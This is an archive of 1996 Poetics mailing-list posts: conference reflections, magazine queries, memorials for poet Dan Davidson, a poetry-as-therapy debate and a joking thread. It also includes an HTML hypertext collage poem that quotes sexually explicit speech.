========== Matthew G. Kirschenbaum University of Virginia [redacted] Department of English http://faraday.clas.virginia.edu/~mgk3k Electronic Text Center

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314. Brian McHale
Re: late assemblages (longish)
Mon 16 Sep 1996

Grateful for cris cheek's reminder of the riches at Durham, after some the some what recriminatory tone of some recent postings on that thread. Myself, I came away with pages of Things to Do: books to read, people to contact, items to track down etc. So here's one: I heard tell of a piece by Gilbert Adair on Bruce Andrews in "Reality Studio" 10. That's not available anywhere in my immediate neighbor- hood, so I want to try to reel it in through Interlibrary loan -- for that I need exact title & page numbers. Could someone in the know kindly supply

those? Back-channel would be fine, unless you think the list at large might want to share the reference. Thanks, Brian

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315. Douglas Messerli
Re: query: langpo and its discontents
Mon 16 Sep 1996

Charles,

I didn't know Jimmy & Lucy's still published? Can you send me a xerox of that review. Is it any good?

Douglas

At 03:05 AM 9/16/96 -0400, you wrote:
>A critique of the Messerli anthology by Ben Friedlander can be found in Jimmy
>& Lucy's House of "K" #8, which begins:
>
>"Is this the great language poetry anthology?"
>
>happy reading
>
>charles
>

↑ Index

316. cris cheek
late assemblages (longish)
Mon 16 Sep 1996

A belated addition to the Assembling Alternatives footage, some of which Los showed to me when i visited Buffalo and some of which I've missed in the interim. I only just got back, having taken a longer route home via Buffalo - archive, EPC (check out the web page that Los launched for me there - you'll need Netscape 3.1. to view the on-line animation / performance), readings, burgeoning presses and clusters of younger poets. I hope that at least some of what i add here is useful and doesn't repeat prior reportage - having said which please bear in mind that i haven't been able to read all of the exchanges to date.

Several points are sticking with me. They are given in no particular priority. The fact that many of the most energised moments at conferences and festivals occur in the foyer or the bar or on a brief excursion into the

surrounding woodlands and rocky outrops and streets is
axiomatic. Nature, no doubt an arguably overextended schedule
contributed to this. However, the often inconsiderate
opening and closing of the clattering door at the back of
the main hall, especially during readings (as people voted for
al fresco discussion) bracketed some readings (of both
papers and poems) disolutely. "Let's talk about later" it was an
overheard limit of corridor would-be dialogue around the
'center' - conjoined by the feeling of desperately trying,
and often failing, to eat at two or three tables simultaneously.

There was a marked difference, in the broadest sense, between the written cadences of those two broad 'sides' of that atlantic represented. The British (there lies imperial many forms of evil embodied) and the North American ("same glutten again!") poets sounded different not by dint of mere accent but by phrase - by unit cadence - by rhythm. Someone could sort through the recordings and work up a paper on this.

Also prevalent was a tendency (certainly shared by this bullet head) to break into or close to song during poems. I take this to signal a major shift towards orality in the versioning of texts through performance. Denise Riley surely sang the blues on!

Notable mic-addressing techniques from Leslie Scalapino, Karen MacCormack (wonderful whistling harmonics), Lisa Robertson (whose 'Debbie: an epic' is eagerly awaited), Denise Riley, Robert Sheppard, Catherine Walsh. Many of the readings by the British poets were the best i have heard them give. It was that level of occasion.

Some encroachment of low tec into the proceedings must also be noted. Tom Raworth's use of 'Fred' or 'Frank' (there seem to be differing names for the Stephen Hawking voice simulation - i know that there are now half a dozen or more voicings available) was salutary.

Stand-up comedy was the ghost in the conference geist. Barrett Watten even deliberately generated heckling and summarily despatched it. Uncontrollable outbreaks of laughter were provoked by Randolph Healey, Steve McCaffery, Rae Armantrout (my reader of the week), Jeff Derkson, Miles Champion, Chris Stroffolino, Hazel Smith and Charles Bernstein. Each using a differing technique to crack the crowd open.

Bearing in mind Fiona Templeton's deconstruction of conference as a performance form and David Bromige's prone presentation of podium behaviour (someone might give him a tv show, with lounge setting, a long long mike lead and a fake cigarette) - it was remarkable how some (though thankfully not too many) of the papers and poems being voiced, lacked any awareness of the

performative aspects that the situation demanded. I mean if you don't want to read out loud then post your materials for silent consumption in the lobby, or tidy up your script and have it presented without prejudice in the proceeds.

Discussion could follow readings of poems as well as readings of papers. Time for robust large group discussions has been lamented all round.

One highlight, for me, was listening to the animated chatter of a packed busload on its way into Portsmouth for the final night dinner. What an exquisite nest of birds!

More mischievous 'play' with the form of papers, both in how they were written and how presented would be welcome. The tactic of alluding to what can't be read for example, given the constraints of time, seemed way underexplored ("skipping material on the hermeneutics of quotation", "I'm cutting a bunch of stuff on Coolidge and astrology","no time for the marital status of the number five, it'll be in the published version", "sliding past several paragraphs on the pre-millenial Carnival of Paradigms") as strategic diversion. Then it might have been worth trying different conference configurations in different rooms - in the round for example (to state an obvious). In many respects then this was an assemblage of contemporary conventions, and extremely useful in being that. Interdisciplinarity was for the most part noticeably absent and the authority of the 'text' in the dominant.

In this respect the film showings (by Fiona and Abigail Child) were welcome. As too the hypertext / CD Rom / Video presentations - but I'd like to have been able to play with that technology in an installation available throughout.

But what of music / movement? - especially as so many of those present work in collaborations of various kinds, or compose themselves. These issues are integral to the development of our poetics - as Barrett Watten suggested in what for me was a strong closing paper, unfortunately hijacked by concerns which could more usefully have formed the basis for an opening session. The gripes raised mostly legitimate concerns - but were misplaced as end notes.

The Leaning Tower of Pizza, along the drive to New Hampshire from Boston has stuck in my memory. A fraying fabric of signage, the neon of which was partially missing (or partially representing), lining much of the route.

Allen Fisher (with whom, alongside Trevor Joyce, i was rooming) reported back on the Continental Breakfast at the Dover Days Inn as being a pink doughnut with an ice cold apple and coffee. Forgoing that delight we walked in Dover, discussing a collaboration for the Sunday night, admiring the angular articulations given to junctional space by telegraph poles.

Allen's own paper on narrativity and consciousness (great to hear him read 'Bel Air' again btw) elicited my favourite overheard exchange. Two men in the men's toilet:

1. "It could take you the rest of your life to think through all of the things in that paper"

2. "I was hoping to have my consciousness expanded, but ended up feeling pretty stupid"

1. "There you are you see, you did have your consciousness expanded"

There was a curious feeding frenzy as books were released from cardboard boxes amid the registrations before the first evening reading even began. I'd like to second Keith Tuma's comment on the urgency of keeping the channels open on nuts and bolts of book exchange / information and distribution that such a list as this can only partially fulfill. The sheer fact that the Irish poets had never met each other is staggering proof enough of the need for more such events and better channels of communication.

Many of those who had had some exchanges through this medium were meeting for the first time. I found all of this, putting a hand and a hug and a voice and a face to a name, close to exhilerating. It was curious how many people, myself not included, seemed to have formed an image of each other from their post.

And then there were all those who, for various reasons, were missing and sorely missed.

see you in Dublin, Sydney, Vancouver, Cape Town, Rotterdam
or London
love and love
cris

↑ Index

317. Brian McHale
Re: late assemblages (longish)
Mon 16 Sep 1996

I take it all back. Incredibly, within minutes of posting that request for infor on Adair on Andrews, I received a photocopy of it in the mail. What does this mean? Brian

↑ Index

318. Daniel Bouchard
Charles Norman
Mon 16 Sep 1996

Does anyone have information on the poet Charles Norman? I was told he died over the weekend at the age of 92.

[redacted]

↑ Index

319. Brigham Taylor
Theraputix
Mon 16 Sep 1996

Did anyone see the piece in the City section of yesterday's NYTimes about the "poetry as therapy" group in Brooklyn??? It was hilarious and horrfying, going so far as to provide a chart matching up specific psychological complaints with specific poems (almost all chestnuts); i.e. Identity Crisis--Dickinson's "I'm Nobody"; Alcoholism--Roethke's "My Papa's Waltz," etc. Now, I think we all might be able to make some money suggesting poems as cures for physical ailments. Like for Constipation--"Howl" or for chronic B.O.--"asphodel oh greeny flower" or for overeating--Galway Kinnel's "The Bear." But why stop there? Maybe we can use specific poems to cure ideological ills as well: Unpatriotic??? Try "O Captain My Captain" or "Death of the Ball Turret Gunner." Anti-recycling??? "The Waste Land," Natch!!! Who else can contribute ideas to our communal well-being??

Brigham

↑ Index

320. **Henry Gould**
Re: Theraputix
Mon 16 Sep 1996

Take a look at a new book by Russian writer Vitaly Shentalinsky, called "Arrested Voices", for another take on this question. Chapt 4 describes how poet/scientist Nina Hagen-Torn survived the Gulag & helped many others by composing, memorizing, & reciting poems. Shentalinsky has been a pioneer in getting access to KGB files on victimized writers under Stalin; the book covers the "trials" & punishment of Isaac Babel, B. Pilnyak, Mandelstam, Pavel Florensky, many others, with a lot of long-hidden documentary material. - H. Gould

↑ Index

321. **Ralph Wessman**
Eric Beach
Mon 16 Sep 1996

Laura wrote (1st May) ... the American left and artists have a long way to go to even touch the coattails of their Australian counterparts TT.O, thalia, Chris Mann, ACR, Jas Duke, lauren Williams, Eric Beach, Carmel Bird....

Toby Green wrote (3rd May) ... Interesting to see Eric Beach surface in a list of Australian poets. He got anthologized some years back as a young NZ poet.

Just to add, Eric was named joint winner a fortnight ago of the Kenneth Slessor Award (a major prize - part of the New South Wales Premier's Award) for his recent (fourth) collection, `Weeping for Lost Babylon'. - great news.

Regards

Ralph Wessman, Hobart

↑ Index

322. **Charles Smith**
Re: query: langpo and its discontents
Mon 16 Sep 1996

In a message dated 96-09-16 11:08:59 EDT, you write:

<< I didn't know Jimmy & Lucy's still published? Can you send me a xerox of that review. Is it any good?

Douglas >>

Jimmy & Lucy's never made it into the 90's. The last issue of J & L was #9, Jan '89. Ben's review was in #8, Jan '88 & is a fair critique from a sympathetic reader who (largely) reviews the book w/ yr stated aims in sight.

charles

Looking at the issue again today, I noticed that there is also a review of _Tree_ in it by David Sheidlower.

↑ Index

323. Aldon L. Nielsen
Re: Dan Davidson
Mon 16 Sep 1996

I got as far as the news about Dan last week and was stopped in my tracks -- it was truly unexpected -- I can't get to the memorial -- but I will record one memory here --

I first began talking with Dan after he instigated a wonderful week-edn conference during his time at San Francisco State -- A couple of years later, Dan, Spencer Selby and I drove up to Crag Hill's place for a publication reading honoring the chapbook of Dan's that Crag had just put out. I was doing a radio program still in those days, and brought along my recording equipment. Whenever Spencer, Dan and I were together, there was fiery conversation. That much time together in a car produced a lot of sparks, one of the most informative drives I've ever taken.

As the reading got under way, I noticed a distinct ticking sound in my earphones. I asked Dan to take off his watch. He told me the sound was coming from his heart. I thought Dan was still putting me on, as he had in the car a time or two. He handed me his watch at last; it was digital -- non-ticking -- I was suitably abashed -- The reading was tremendous --

Later that week, as I broadcast Dan's poetry to a South Bay audience of thousands, I sat there in the booth listening to Dan's wonderful work, and his heart valve. It will always be good to have that recording of Dan, but it will always hurt,

and I will always be grateful to Dan for giving that work to us

↑ Index

324. Aldon L. Nielsen
Re: Stan Brakhage
Mon 16 Sep 1996

Brakhage's cancer surgery was successful -- He has been released from the hospital and is recovering at home, still working his way through Ronald Johnson's _Ark_ last I spoke to him.

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325. David Kellogg
Re: query: langpo and its discontents
Mon 16 Sep 1996

At 07:27 PM 9/16/96 -0400, Charles Smith wrote:
>In a message dated 96-09-16 11:08:59 EDT, you write:
>
><< I didn't know Jimmy & Lucy's still published? Can you send
> me a xerox of that review. Is it any good?
>
> Douglas >>
>
>
>Jimmy & Lucy's never made it into the 90's. The last issue of J & L was #9,
>Jan '89. Ben's review was in #8, Jan '88 & is a fair critique from a
>sympathetic reader who (largely) reviews the book w/ yr stated aims in sight.
>
>
>charles
>
>Looking at the issue again today, I noticed that there is also a review of
>_Tree_ in it by David Sheidlower.

This exchange was fun to watch.

I think the obvious confusion here was over which
"book" was being reviewed. I too briefly thought
you might have been referring to *From the Other Side
of the Century* until I remembered Douglas's *'Language'
Poetries* from an appropriate period and came to my senses.

Momentary time-warp -- good for the soul.
~~~
~~~

University FAX [redacted] Durham, NC 27708
http://www.duke.edu/~kellogg/

There is no mantle
and it does not descend.
--Thomas Kinsella

↑ Index

326. **Nada Gordon**

Dan the flaneur

Tue 17 Sep 1996

The last time I saw Dan was about five years ago. He was coming out of the UC Berkeley art museum, scowling and looking internal. He seemed not at all surprised to see me, although I hadn't seen him for a few years and he knew well I was no longer a bay area resident. In fact he barely spoke to me, and I was a little offended.

Much later he apologized for his brusqueness via e-mail, explaining he'd just witnessed a fight which much disturbed him.

I asked him in one of our infrequent e-mail exchanges how his physical being was. He said that being sick just made him realize more sharply that he was under the same sentence as everyone else. I wish I still had this message.

I do still have a poem he sent me in April. I take the liberty of sharing it here:

> *Now, other, after*
>
> *Where is it, the bus you've been traveling*
> *the corners and waiting, streets along*
> *blankets, retrospection, libraries*
> *of flowers and fervent ledges in uneasy itinerary*
> *observed, bare there before you.*
>
> *What is it to learn at birth*
> *or to have, in the unrest of the streets*
> *no place at all except blindness.*
> *I don't know who you are, here among everyone*
> *the layers of innocence and youth*
>
> *and corruption, except that each moment, every breath*
> *reaches through the air of another person*
> *so perfectly, indecent, ignorant of effects*
> *like a recent memory of hunger.*
> *I wish you were here, cradling the starlight out of the sky.*

> *I have no answers, and expect none*
> *so no single, solitary story is likely to be enough*
> *for me, laying its quiet head on a pillow...*
> *this is the larger part of any opportunity, even*
> *the dictum of impermanence that gnaws at a flowering day*
>
> *one color at a time, how it gets into the skin*
> *and then into the ink, the ice there and the warm pleasure.*
>
> *daniel davidson*

↑ Index

327. **Pierre Joris**

[Fwd: the Outsider]

Tue 17 Sep 1996

Thought this may interest those in the LA area, but others as well:
>
> The Outsider (after the Colin Wilson book of the same name) is dedicated to
> independent and small press publications and productions--zines, books,
> music, performance, etc. We have the largest instore selection of zines in
> the LA area --local, national and international publications--and a select
> choice of 'alternative' press books from Atlas to Masquerade to
> Semiotext(e). The bookstore is located at the borders of Silverlake, Los
> Feliz, Hollywood and Los Angeles on Fountain Ave between Vermont and
> Sunset. Some upcoming events include readings by science fiction erotica
> publisher Cecilia Tan of Circlet Press; world renowned poet, translator
> and editor Jerome Rothenberg; cyberpunk/avant-pop philosopher, critic and
> editor, Larry McCaffery; and screenings of Dreyer's "The Passion of Joan of
> Arc" and Jack Smith's "Flaming Creatures."
>
> take care
> james adams
>
> the Outsider Bookstore
> 4505 Fountain Avenue
> Los Angeles, CA 90029
> ph #[redacted]

↑ Index

328. **maria damon**
Re: Theraputix
Tue 17 Sep 1996

---

brigham writes:
> Did anyone see the piece in the City section of yesterday's NYTimes about the
> "poetry as therapy" group in Brooklyn??? It was hilarious and horrfying,
> going so far as to provide a chart matching up specific psychological
> complaints with specific poems (almost all chestnuts); i.e. Identity
> Crisis--Dickinson's "I'm Nobody"; Alcoholism--Roethke's "My Papa's Waltz,"
> etc. Now, I think we all might be able to make some money suggesting po-
ems
> as cures for physical ailments. Like for Constipation--"Howl" or for
> chronic B.O.--"asphodel oh greeny flower" or for overeating--Galway
> Kinnel's "The Bear." But why stop there? Maybe we can use specific poems
> to cure ideological ills as well: Unpatriotic??? Try "O Captain My
> Captain" or "Death of the Ball Turret Gunner." Anti-recycling??? "The
> Waste Land," Natch!!! Who else can contribute ideas to our communal
> well-being??
>
> Brigham

i can see why poetry's value is in some ways its purported LACK of "use value," and that the scenario above wd be offensively, well, and literally, prescriptive to many folks on this list. however, if poetry saves lives --and probably many folks here have experienced that --who is anyone to say precisely *how* it shd do so. i've had students turn on to David antin, of all poets, as a model of therapeutic journaling because of the "lack" of punctuation. i know someone who was inspired not to kill herself because she saw a caffe fassett (knitting and needlepoint designer) video so full of beautiful colors it gave her hope. i've recounted before on the list a scene in a documentary about a lesbian wedding in which the trite free verse of a hallmark card was read aloud as the moment of deepest feeling between the women. hey, i can laugh at their taste (and i do find the scene comical as well as moving), but to respond *only* with dismissive contempt is to miss something. wouldn't *you* be glad to know that one of your poems --maybe not even one you thought that highly of, or one taken so out of context that you felt that the reader had "misunderstood" it --saved a life? --md

↑ Index

329. David Golumbia
Re: Stan Brakhage
Tue 17 Sep 1996

I got the "Re:" but not the original message on this... can somebody reiterate the details?

Aldon L. Nielsen wrote:
>
> Brakhage's cancer surgery was successful -- He has been released from the
> hospital and is recovering at home, still working his way through Ronald
> Johnson's _Ark_ last I spoke to him.
>

--
[redacted]
David Golumbia

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330. Mark Roberts
(Forwarded) AWOL: Olympic Sports Poet Winners announced
Tue 17 Sep 1996

A top spin on literary competitions

INAUGURAL OLYMPIC SPORTS POET WINNERS
ANNOUNCED

The winners of the inaugural Olympic Sports Poet Award were announced at the NSW Writers Centre Spring Writing Festival. The judges of the competition were Ron Pretty and Les Wicks and the awards were presented by Andrew Landenberger, current Olympic Champion in yachting (Tornado class).

The winners were:

FIRST PRIZE: 'First Lady' by Louise Wakeling. Study of the trials of Kay Cottee's history making solo voyage around the world.

SECOND PRIZE: "Day my father came to football - Part 2' by Myron Lysenko. Lysenko's threat of intensive training has paid off with this record setting story of parents and benches.

THIRD PRIZE: "Work of knowing" by ShaunAnne Tangney. Interestingly also concerned with parents....and basketball.

FIRST PRIZE (Junior): "Not last anymore" by Edwina Lau. The thrill, and relief, of coming second last.

Competition promoter Michael Katefides said " I am delighted by the way the Sports Poet competition has been accepted in both the sport and literary communities. The internet proved successful in facilitating entries world wide with one being a prize winner. The continued expansion of the Sport Poet award is more than justified when one sees the enthusiasm of the entrants, particularly those of the juniors."

Continuing judge, Les Wicks, noted the sharp increase in the standard of the entries. The fact that two of the winners also won last year is no way indicative of the scarcity of quality entries.

The winning pieces will be on display at the Network Tennis Australia Centres at Annandale and Wicks Park. Poems are also available for reproduction. For further information contact NTA at 210 Annandale NSW 2038 Australia. Phone 61 2 9566 2100, fax 61 2 95172466.

AWOL
Australian Writing On Line
[redacted]
http://www.ozemail.com.au/~awol
PO Box 333 Concord NSW 2137 Australia
Phone 61 2 7475667, Mobile 015063970
Fax 61 2 7472802

Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)9351 5066
MOBILE 015063970
FAX:(02)9351 5081

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331. Rod Smith
Re: Padmasambhava
Tue 17 Sep 1996

"When the iron eagle flies and horses run on wheels the Tibetan people will be scattered over the earth and the dharma will go to the land of the red man," --Padmasambhava, 8th Century AD

Someone had asked for this a while back. Finally found it in a notebook.

--Rod

↑ Index

332. David Benedetti

Confidential to everybody on the list

Tue 17 Sep 1996

How many of you on the list want to hear about Rachel Loden's confidential messages to Mark Wallace concerning George Bowering's imaginary dildo?

↑ Index

333. filch

the end of the world can be directly traced to robert creeley teaching at black mountain college or how i shot the fetishization of text and survived to tell the tale

Tue 17 Sep 1996

```
<html>
<head>
<title>
The End of the World Can
Be Directly Traced to Robert
Creeley
</title>
<base
href="http://www.chronoto
pe.com/">
</head>
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><frame
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    marginheight="0"
    scrolling="no"
    name="navbar"
    noresize
    border="no"

src="/Robert_Creeley/lingui
stic.html"
><frame
    marginwidth="0"
    marginheight="0"
```

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    name="active"
    noresize
    border="no"

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html"
></frameset>

<!- frAmed close ->

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background="/i/shaft.gif"
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    alink="#000000"
    vlink="#ffffff"
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    border="0"
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    valign="top"
    colspan="1"
><p><img
    src="/i/dot_clear.gif"
    width="310"
    height="1"
></p><p><a href="/(mt)v/"
    name="explication"

onMouseOver="window.sta
tus='explication serves or
rather, enrage'; return true"
><img
    src="/i/dot_clear.gif"
    width="180"
    height="70"
    hspace="20"
    vspace="10"
    border="0"
```

```
></a></p><p><a href="//"
    name="explication"

onMouseOver="window.sta
tus='service an explanation,
engage'; return true"
><img
    src="/i/dot_clear.gif"
    width="150"
    height="78"
    hspace="10"
    vspace="5"
    border="0"
    align="left"
></a><a href="//"
    name="explication"

onMouseOver="window.sta
tus='explicate rather
sucking meats, flange';
return true"
><img
    src="/i/dot_clear.gif"
    width="80"
    height="80"
    hspace="20"
    vspace="5"
    border="2"
    align="left"
></a></p><br
    clear="left"
><p><a href="//"
    name="explication"

onMouseOver="window.sta
tus=', enrage - at least that
for a heterosexual audience';
return true"
><img
    src="/i/dot_clear.gif"
    width="90"
    height="60"
    hspace="5"
    vspace="3"
```

```
    border="0"
></a></p></td><td
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    rowspan="2"
><p><img
    src="/i/dot_clear.gif"
    width="170"
    height="15"
></p>
<p><font
    size="+1"
>&#34;I mean the bottoms
are always scared. I always
try to tell them, &#39;Look,
<a
href="http://www.klaaskids
.inter.net/pg-0521.htm"
    name="porn"

onMouseOver="window.sta
tus='is one of the few
contemporary occupations';
return true"
>I&#39;m not going to hurt
you.</a> <a
href="http://www.math.tau.
ac.il/~nin/relax.html"
    name="relax"

onMouseOver="window.sta
tus='if you relax comfort';
return true"
>Just relax</a> - <a
href="http://www.vix.com/
men/falsereport/daterape/gut
mann.html"
    name="daterape"

onMouseOver="window.sta
tus='false report, a former
fireman'; return true"
>it's not going to be that
bad.</a>&#39;
</p>
```

<a
href="http://copernicus.bbn.
com/people/PDavis/htl-
chapt2.html"
    name="does"

onMouseOver="window.sta
tus='does knot'; return true"
>I do have a big dick
and I know that.

But the bottoms are always
scared because they're
usually <a
href="http://www.ygc.com/
ygcnew.htm"
    name="guys"

onMouseOver="window.sta
tus='we are going to bond
we are going to
change';return true"
>young guys - <a
href="http://www.golf.com/
tour/pgatour/ryder/interview
s/0920coupstr.htm"
    name="first"

onMouseOver="window.sta
tus='receivable criteria';
return true"
>it might be their first
time. You can see the
look of <a
href="http://www.ljworld.c
om/LJW/archives/sports/05
1396s2.html"
    name="jelly"

onMouseOver="window.sta
tus='grow your business';
return true"

>fear in their eyes.

You know, think about it.
<a
href="http://www.zen.org/~
jeffrey/cigarette.html"
    name="collage"

onMouseOver="window.sta
tus='what happens when
you run out of collage?';
return true"
>You're eighteen
years old, and all of a
sudden you're in a <a
href="http://www.spe.sony
.com/Pictures/SonyMovies/
netexclsv.html#IRWIN"
    name="redrum"

onMouseOver="window.sta
tus='rooms without
person'; return true"
>room full of people
with lights and cameras
watching you, <a
href="http://www.thonline.
com/news/th0506/stories/97
99.htm"
    name="near"

onMouseOver="window.sta
tus='nearly dormant in mat,
because linguistic'; return
true"
>butt naked, as you get
a <a
href="http://rs.internic.net/c
gi-bin/whois?cock.com"
    name="vagina"

onMouseOver="window.sta
tus='vaginal inflection';

return true"
>cock <a
href="http://www.cs.umbc.
edu/pub/funny/pickups"
name="violence"

onMouseOver="window.sta
tus=' e n g i n e e
r '; return true"
>shoved up your <a
href="http://rs.internic.net/c
gi-bin/whois?ass.com"
name="memories"

onMouseOver="window.sta
tus='within an other entry';
return true"
>ass.
<a
href="http://www.virtual.co
.il/news/news/arutz7/news.f
eb22-96.htm"
name="memories"

onMouseOver="window.sta
tus='please assume to
instruct'; return true"
>It hurts, but <a
href="http://www.dot.state.
tx.us/tdotnews/trnscrpt/109
5trns.htm"
name="memories"

onMouseOver="window.sta
tus='within an other entry';
return true"
>you don't want to
say anything and let
people know what
you're feeling, and <a
href="http://www.worldgol
f.com/wglibrary/october/par
sons.html"
name="memories"

onMouseOver="window.sta
tus='with an urge towards
meaning'; return true"
>everyone is watching
you, so you can't
relax and let it go in.
It's very
frightening, and <a
href="http://robotics.stanfor
d.edu/Ratlist/rats-digest-
v2.archive/0077.html"
name="memories"

onMouseOver="window.sta
tus='a kind of guidebook
through the workings of the
psyche'; return true">the
boys are scared
shitless, because they know
it can be a bad
experience."</
p></td></tr></table>
</body>
</html>

↑ Index

334. **Gwyn McVay**

Re: Confidential to everybody on the list

Tue 17 Sep 1996

Is there a choice? Can we switch renga-channels and hear instead about Messrs. Bernstein, Rothenberg, and Joris hanging out of the windows at the Chelsea Hotel whilst Mme. Perloff duped Rod Smith with a counterfeit Ouija board and M. Gould tottered out of the bathroom/storeroom holding a crumpled leather bag?

Signed, Wondering

↑ Index

335. **M. Gould**
Re: Confidential to everybody on the list
Tue 17 Sep 1996

On Tue, 17 Sep 1996 15:49:29 -0400 Gwyn McVay said:
>Is there a choice? Can we switch renga-channels and hear instead about
>Messrs. Bernstein, Rothenberg, and Joris hanging out of the windows at
>the Chelsea Hotel whilst Mme. Perloff duped Rod Smith with a counterfeit
>Ouija board and M. Gould tottered out of the bathroom/storeroom holding a
>crumpled leather bag?

I've been trying really hard to restrain my probabblenouncements on this list, but now I have to take my stand & set the record straight. I was not tottering. I was rehearsing for my upcoming Reading (note to self: remember to check mail for Invitation To Read). Furthermore, it was not a leather bag. It was Plasmahyde. & I will act as my own lawyer from heretofore and what'smoreto-fore etc. etc. [see attached deposition]. Judge Elmer Pudge is handling this case, he's known to be tough on the bench (it looks like a very warped skate-board). So bring your flip pads, ginnelmen & ladles of the 4th estate: this one's going over the top. [1. excerpted from: _The National Enquirer : A Bibliography of Contemporary Scandals, Mysteries, and Visitations_, ed. by Ridgewood Fro-bisher. Squeamish Univ. Press, 1983] - M. Gould

↑ Index

336. **maria damon**
Re: Confidential to everybody on the list
Tue 17 Sep 1996

---

well now david, that's an interesting question. it was my understanding that these msgs were not confidential; that they were, in fact, staged specifically for the enjoyment of the poetix audience, and that, privately, loden, wallace and bowering have more likely than not never spoken, met or corresponded. i may be wrong. i've been enjoying the whacky thread that has also included others at times, but if the players want to retire or think they're pushing the envelope on "good taste" or whatever, i'm happy to leave the decision to them. i have not felt my sensibilities to be violated, though in this day plus age, one can't be too careful; loden, bowering et al may be called up before the internet family values committee and given a brisk public spanking. xo as ever, md

In message <[redacted]> UB Poetics
discussion group writes:
> How many of you on the list want to hear about Rachel Loden's
> confidential messages to Mark Wallace concerning George Bowering's
> imaginary dildo?

↑ Index

337. Eliza McGrand- CVA Guest
Re: Confidential to everybody on the list
Tue 17 Sep 1996

---

i have been enjoyingt the thread immensely. in the midst of so much talk of how a Modern Poetics must be able to make fun of itself, i found this thread a charming example of precept in action. also, it was fun to have somehting funny in the middle of all the usual nervous seriousness.

e

↑ Index

338. Pritchett,Pat
Re: Confidential to everybody on the lis
Tue 17 Sep 1996

Only if it's a talking dildo. If it's a talking dildo, why then fine.
Something along the lines of the Brazen Head of Friar Bacon. Why then, yes, by all means, Let 'er rip. But if not, then not.

From: maria damon
To: Multiple recipients of list POETICS
Subject: Re: Confidential to everybody on the list
Date: Tuesday, September 17, 1996 3:11PM

well now david, that's an interesting question. it was my understanding that
these msgs were not confidential; that they were, in fact, staged specifically
for the enjoyment of the poetix audience, and that, privately, loden, wallace
and bowering have more likely than not never spoken, met or corresponded. i may
be wrong. i've been enjoying the whacky thread that has also included others
at
times, but if the players want to retire or think they're pushing the envelope
on "good taste" or whatever, i'm happy to leave the decision to them. i have
not felt my sensibilities to be violated, though in this day plus age, one can't

be too careful; loden, bowering et al may be called up before the internet family values committee and given a brisk public spanking. xo as ever, md

In message <[redacted]> UB
Poetics
discussion group writes:
> How many of you on the list want to hear about Rachel Loden's
> confidential messages to Mark Wallace concerning George Bowering's
> imaginary dildo?

↑ Index

339. Jordan Davis
Re: Confidential to everybody on the list
Tue 17 Sep 1996

Significant is D Benedetti's hostility -- which was something I certainly felt when I had just started reading the list a year and a half ago -- and which is a standard reaction of people entering poetry 'scenes' -- I asked Charles Bernstein once at the ear whether he knew why people behaved that way -- I was myself shaking with rage at having to be at the ear at the time -- I wanted a diagnosis -- he said he had an idea but just then the reading started and I forgot to ask him ever again -- why do people get angry at poetry discussions when they're about to start talking in them -- I would supply some more first-person narrative / anecdotes but it's been too long since I started blabbing my head off about things I know nothing about -- that is, I'm past hostility and part of the problem -- I hope -- Jordan --

↑ Index

340. Daniel Bouchard
Re: Confidential to everybody on the list
Tue 17 Sep 1996

Jordan wrote:

I asked Charles Bernstein once at the ear whether he knew why people behaved that
way -- I was myself shaking with rage at having to be at the ear at the
time -- I wanted a diagnosis --

I had similar reactions at the throat and knows, but there was no doctor bernstein on hand to ask.

Re: the dildo-- no fun if it's just made up, when there's a real one, then it will make an interesting thread. And now that Maria's promised spankings-- oh wow, this is big treat!

[redacted]

↑ Index

341. **Beth Simon**
Re: Confidential to everybody on the lis
Tue 17 Sep 1996

Are we voting on public spanking vs confidentially talking dildoes, or just whether we are in favor of public spanking, or that we don't have to be responsible for the spanking, hire the spankeurs, be the spankees, but through no fault of our own get to be there, or is someone about to admit in public that no matter how much confidentiality that dildo violated, his wife stands by him?

beth

↑ Index

342. **wystan**
Re: Theraputix
Tue 17 Sep 1996

Maria

You speak of how Poetry Saves Lives. I've also heard tell it can kill. Sure, I'd be glad if a poem of mine--no matter how misread it was (although I do have insurance cover for the misreading of my work)--saved a life, about like I'd be sad if someone died because of a poem of mine. But I'd still put in my claim.

Your good health

Wystan

↑ Index

343. **Tony Green**
Re: Confidential to everybody on the list
Tue 17 Sep 1996

Hi David Benedetti,

I'm a bit late on this one, but I've been following the electronic epistolary tale cum electronic renga-novel with bated breath, on the edge of my seat, while poets and critics were confusing one another on the other channel. Is there such a thang as an e'couteur, as distinct from a voyeur, it's me.

I'm glad tho yr objection is now public, rather than back-channel. As always, you have yr trusty Delete button at hand?

all the best

Tony Green,
e-mail: [redacted]

↑ Index

344. Tony Green
Re: Eric Beach
Tue 17 Sep 1996

Dear Ralph, is that a typo, Toby Green? Glad to know E Beach is alive and well and active. I liked the anthologized NZ poems.
best

Tony Green,
e-mail: [redacted]

↑ Index

345. maria damon
Re: Confidential to everybody on the list
Tue 17 Sep 1996

Now wait: someone said i "promised spankings" --i did no such thing. Here at the Internet Family Values Ass'n, all public spankings are fully consensual and cannot be promised by any other than the prospective spankees. Our highly trained specialists are ready to punish, avec bells and whistles etc, any and all willing spankees, be they of the loden-bowering, uh, stripe or of the, uh, how can i put this, benedetti persuasion. i cannot promise for them. they must submit willingly.

↑ Index

346. Pete Landers
Re: Confidential to everybody on the list
Tue 17 Sep 1996

---

thread trashing is easy. if you want to change the subject or start a new thread, go right ahead. trash may float, but it don't fly.

Pete Landers
(by the way, this is a new address)
[redacted]

David Benedetti wrote:
>
> How many of you on the list want to hear about Rachel Loden's
> confidential messages to Mark Wallace concerning George Bowering's
> imaginary dildo?

↑ Index

347. Pete Landers
Re: Theraputix
Tue 17 Sep 1996

It is difficult to get the poetry from the news...

Brigham Taylor wrote:
>
> Did anyone see the piece in the City section of yesterday's NYTimes about the
> "poetry as therapy" group in Brooklyn??? It was hilarious and horrfying,
> going so far as to provide a chart matching up specific psychological
> complaints with specific poems (almost all chestnuts); i.e. Identity
> Crisis--Dickinson's "I'm Nobody"; Alcoholism--Roethke's "My Papa's Waltz,"
> etc. Now, I think we all might be able to make some money suggesting po-
ems
> as cures for physical ailments. Like for Constipation--"Howl" or for
> chronic B.O.--"asphodel oh greeny flower" or for overeating--Galway
> Kinnel's "The Bear." But why stop there? Maybe we can use specific poems
> to cure ideological ills as well: Unpatriotic??? Try "O Captain My
> Captain" or "Death of the Ball Turret Gunner." Anti-recycling??? "The
> Waste Land," Natch!!! Who else can contribute ideas to our communal
> well-being??
>
> Brigham

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348. George Bowering
Re: Confidential to everybody on the list
Tue 17 Sep 1996

